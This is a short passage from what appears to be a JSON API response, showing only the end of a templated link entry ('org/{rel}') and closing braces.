org\/{rel}","templated":true}]}}